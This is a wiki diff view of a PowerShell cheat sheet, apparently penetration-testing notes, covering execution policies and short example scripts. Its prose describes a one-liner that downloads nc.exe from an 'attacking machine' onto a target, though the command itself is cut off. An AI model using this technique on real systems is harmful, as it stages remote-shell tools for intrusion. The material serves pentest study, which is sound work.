cheat_sheets_ps
Differences
This shows you the differences between two versions of the page.
Both sides previous revisionPrevious revisionNext revision | Previous revision | ||
cheat_sheets_ps [2022/12/29 23:37] – gman | cheat_sheets_ps [2022/12/29 23:43] (current) – gman | ||
---|---|---|---|
Line 3: | Line 3: | ||
===== Execution Policies ===== | ===== Execution Policies ===== | ||
- | PowerShell execution policies determine your authorization to execute | + | PowerShell |
- **Restricted: | - **Restricted: | ||
- **AllSigned: | - **AllSigned: | ||
Line 11: | Line 11: | ||
- **Unrestricted: | - **Unrestricted: | ||
- **Bypass:** Allows any and all PS scripts. Have at it! | - **Bypass:** Allows any and all PS scripts. Have at it! | ||
+ | |||
+ | Syntax for changing the PowerShell execution policy: | ||
+ | |||
+ | < | ||
+ | Set-ExecutionPolicy [name] | ||
+ | # Example: | ||
+ | Set-ExecutionPolicy RemoteSigned | ||
+ | </ | ||
+ | |||
+ | ---- | ||
===== Example Code ===== | ===== Example Code ===== | ||
+ | |||
+ | ==== One-Liner Download ==== | ||
A very useful one-liner to download a file (nc.exe) from an attacking machine (IP 192.168.77.128) and save it in C: | A very useful one-liner to download a file (nc.exe) from an attacking machine (IP 192.168.77.128) and save it in C: | ||
Line 20: | Line 32: | ||
</ | </ | ||
- | ---- | + | ==== For Loop ==== |
- | + | ||
- | **Example: | + | |
< | < | ||
Line 40: | Line 50: | ||
</ | </ | ||
- | ---- | + | ==== Conditional |
- | + | ||
- | **Example: | + | |
< | < |
cheat_sheets_ps.1672357037.txt.gz · Last modified: by gman